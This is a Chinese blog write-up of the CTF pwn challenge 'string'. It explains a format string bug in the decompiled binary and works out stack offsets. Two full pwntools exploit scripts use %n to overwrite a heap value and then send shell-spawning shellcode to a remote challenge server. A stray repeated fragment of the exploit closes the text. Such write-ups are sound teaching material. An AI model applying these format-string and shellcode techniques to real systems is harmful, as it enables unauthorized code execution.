攻防世界 pwn string

原创

N1rvana 于 2021-11-15 00:17:30 发布 2672 收藏 2

分类专栏： pwn fmt 文章标签： pwn

本文链接：https://blog.csdn.net/lnvin_cible/article/details/121326452

攻防世界string应该是新手区数一数二的难题，难点在理解程序流程。

先观察主函数:

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [rsp+18h] [rbp-78h]

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996();
  v4 = malloc(8uLL);
  *v4 = 68;
  v4[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}
```

alarm函数

什么是alarm函数？

如上图所示，在做一些pwn题的时候，我们有时会遇到 alarm(0x3Cu) 函数。alarm函数中的参数 0x3Cu 是十六进制无符号数，即十进制对应60，所以该函数的作用是在程序运行60秒后，给进程发送SIGALRM信号，如果不另编写程序接受处理此信号，则默认结束此程序。

为什么要使用alarm函数？

一是比赛中常要远程连接服务器解题，官方不希望有队伍长时间解不出来题浪费服务器资源

二是能对动态调试产生一定影响，干扰选手解题

关闭alarm函数的方法

在命令行里：

```
# 将程序名为ProgrammName中的alarm替换为isnan
> sed -i s/alarm/isnan/g ./ProgrammName
```

不过这道题alarm函数对于程序影响不大，可以不用关闭。

程序流程

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [rsp+18h] [rbp-78h]

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996();
  v4 = malloc(8uLL);
  *v4 = 68;
  v4[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}
```

如图，系统分配内存给v4,v4数组里的内容分别是68和85。

main函数中重点关注

```
printf("secret[0] is %x\n", v4);
printf("secret[1] is %x\n", v4 + 1);
```

程序把v4和v4+1的地址给泄露出来了。

程序继续进入sub_400D72()，提示输入name后进入sub_400A7D()，这里不再赘述，不选择east和1就会被干掉。

选择east和1后我们进入sub_400BB9()

```
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-78h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", format);
    puts("Your wish is");
    printf(format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

这里发现格式化字符串漏洞。

最后进入sub_400CA6()

```
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD))v1)(0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}
```

发现若a1[0]等于a1[1]，就可将v1变成可执行函数

（mmap是一种内存映射文件的方法），可通过read函数读入一串机器码，然后运行，这相当于是把shellcode送你脸上来了。

#综合分析

shellcode

我们的目的是拿到flag，此题中没有system函数，因此需要通过shellcode得到flag，而在sub_400CA6()中可以执行shellcode。

```
shellcode =asm(shellcraft.sh())
r.send(shellcode)
```

但是这几句有些时候会出错，在from pwn import *后加入如下语句则不会出错。

```
context(arch='amd64', os='linux', log_level='debug')
```

shellcode的条件

在程序流程中我们分析到了，必须满足a1[0]=a1[1]才能进行shellcode，因此我们接下来的目标就是让这两个值相等。
sub_400CA6()中传入了a指针参数，因此a1[0],a1[1]其实就是v4[0]和v4[1],传递过程是通过sub_400D72传入到sub_400CA6()。

那么我们接下来的任务就是让v4[0]=v4[1]。

在分析程序流程时我们提到过，程序在main函数里泄露过v4的地址，而程序又在sub_400BB9()中存在格式化字符漏洞，那我们就可以得到v4地址后将v4[0]的值通过格式化字符串漏洞改为和v4[1]相等

1.得到v4的地址

```
r.recvuntil("secret[0] is ")
addr = int(r.recvuntil('\n')[:-1],16)
```

知识点1：int(x,y)是将x转换成y进制的数，如上就是将收到的值转换成16进制

知识点2：[:-1]为python切片知识，自行百度。

2.通过%n改写v4[0]的值

在此之前我们先说说%n，%n的作用不是输出值，而是将一个值写进一个变量或一个地址。

什么是偏移

偏移的理解借助另一个博客的文章：

拿改栈上一个参数的值为例，更改我们的输入
我起初不懂为什么会有这个偏移，看wiki说的我以为是简单的入栈顺序造成的，后来看了这个才知道为什么有这个偏移，简单来说就是，例如

char a[100];
scanf("%s",a);
printf(a);
这里输入a时是把栈上a的值给替换成输入的值，这个栈指的是main函数的栈，因为a是mian函数的局部变量，然后就又有printf函数的调用，这时printf函数的栈在a栈桢的上面，然后printf入栈的参数是a的地址，在这里就有了偏移，我们要改的不是printf入栈的那个参数，那个只是地址，改了之后只是不对应a了，对a真正的值没影响，我们要改的是a，也就是在这个函数的栈里去修改别的函数的栈的内容，我们要计算printf函数入参的那个栈桢相较a变量存的栈桢的差，这是偏移的原因

原文链接：[https://blog.csdn.net/sls_xsl/article/details/113798097]

我们要做什么

实际上我们要做的事就是往栈里写进一个地址，这个地址就是我们要改变的变量的值的地址，然后找到这个地址在栈中的偏移量，然后利用%a$n来改变值。(其中$a$是偏移量)通常情况下我们采用$addr+$n或者%a$n+addr的方式去利用格式化字符漏洞，地址写在前面或后面，偏移量也会不同。

注意！！！！！这道题是64位程序，64位程序由于字长为8，64位程序的地址存在零，所以想要利用偏移来泄露地址内容或者改写其内容的话，目的地址不能放在格式化符号之前，否则printf在遇到零字节时会被截断，此时应将目的地址放在格式化符号后面。

同时如果要把地址防格式化符号后面，要注意堆栈内容对齐，也就是说我们要在%an$b和addr的中间填充适当字符来使字符总量能被8整除。这样在取偏移量的时候才能使偏移量为整数时，取到我们所需要的地址。

偏移量的确定

方法一：gdb调试。

方法二：输入aaaaaaaa-%p-%p-%p-%p-%p-%p

注意：64位程序不能用%x来确定偏移量，且64位程序需要输入aaaaaaaa而不是aaaa

利用 %x 来获取对应栈的内存，但建议使用 %p，可以不用考虑位数的区别。–转自ctf-wiki

```
And, you wish is:
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Your wish is
aaaaaaaa-0x7fc9a3441723-(nil)-0x7fc9a33661e7-0xd-(nil)-0x100603018-0x4bd-0x61616
16161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252
d70252dI hear it, I hear it....
```

如图0x6161616161616161即为我们输入aaaaaaaa的十六进制值，也就是说print栈中第一个参数的偏移为8.

```
payload ='b'*85+'%20$n'+'a'*6+p64(addr).decode('unicode_escape')
```

其中b乘85是我们需要v4[0]变成的值，a乘6为填充字符来使堆栈内容对齐，计算一下地址前面共有96个字符（%20$n算五个字符，这里博主因为这个检查了快一个小时），偏移量就应该加上96/8=12，故最后的偏移量为20。

完整exp：

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote("111.200.241.244",49213)
#r = process('./stRing')
r.recvuntil("secret[0] is ")
addr = int(r.recvuntil('\n')[:-1],16)
r.recvuntil("What should your character's name be:")
r.sendline('invincible')
r.recvuntil("So, where you will go?east or up?")
a = r.recvuntil(":")[:-1]
r.sendline('east')
r.recvuntil("go into there(1), or leave(0)?:")
r.sendline('1')
r.recvuntil("'Give me an address'")
r.sendline('1111')
r.recvuntil("And, you wish is:")
payload ='b'*85+'%20$n'+'a'*6+p64(addr).decode('unicode_escape')
r.sendline(payload)
r.recvuntil("Wizard: I will help you! USE YOU SPELL")
shellcode =asm(shellcraft.sh())
r.send(shellcode)
r.interactive()
```

last：记得把文件名改成stRing，由于string是关键字，运行时可能会出错。

解法二：更简单的解法

```
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-78h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", format);
    puts("Your wish is");
    printf(format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
```

如图,程序中有一段：give me an address，这其实就给我们提示了，v2是调用print前的最后一个参数，也就是说它在程序中的偏移量是printf第一个参数的偏移量减一。我们可以验证一下

```
'Give me an address'
1111
And, you wish is:
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Your wish is
aaaaaaaa-0x7fb6720e0723-(nil)-0x7fb6720051e7-0xd-(nil)-0x100603018-0x457-0x61616
16161616161-0x252d70252d70252d-0x2d70252d70252d70I hear it, I hear it....
```

如图我们输入的1111的十六进制即为0x457，偏移量为7。

完整exp:

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote("111.200.241.244",57932)
#r = process('./string')
r.recvuntil("secret[0] is ")
addr = int(r.recvuntil('\n')[:-1],16)
r.recvuntil("What should your character's name be:")
r.sendline('invincible')
r.recvuntil("So, where you will go?east or up?:")
r.sendline('east')
r.recvuntil("go into there(1), or leave(0)?:")
r.sendline('1')
r.recvuntil("'Give me an address'")
r.sendline(str(addr))
r.recvuntil("And, you wish is:")
payload ='b'*85+'%7$n'
r.sendline(payload)
r.recvuntil("Wizard: I will help you! USE YOU SPELL")
shellcode =asm(shellcraft.sh())
r.send(shellcode)
r.interactive()
```

sendline(str(addr))
r.recvuntil(“And, you wish is:”)
payload =‘b’*85+’%7$n’
r.sendline(payload)
r.recvuntil(“Wizard: I will help you! USE YOU SPELL”)
shellcode =asm(shellcraft.sh())
r.send(shellcode)
r.interactive()

```
```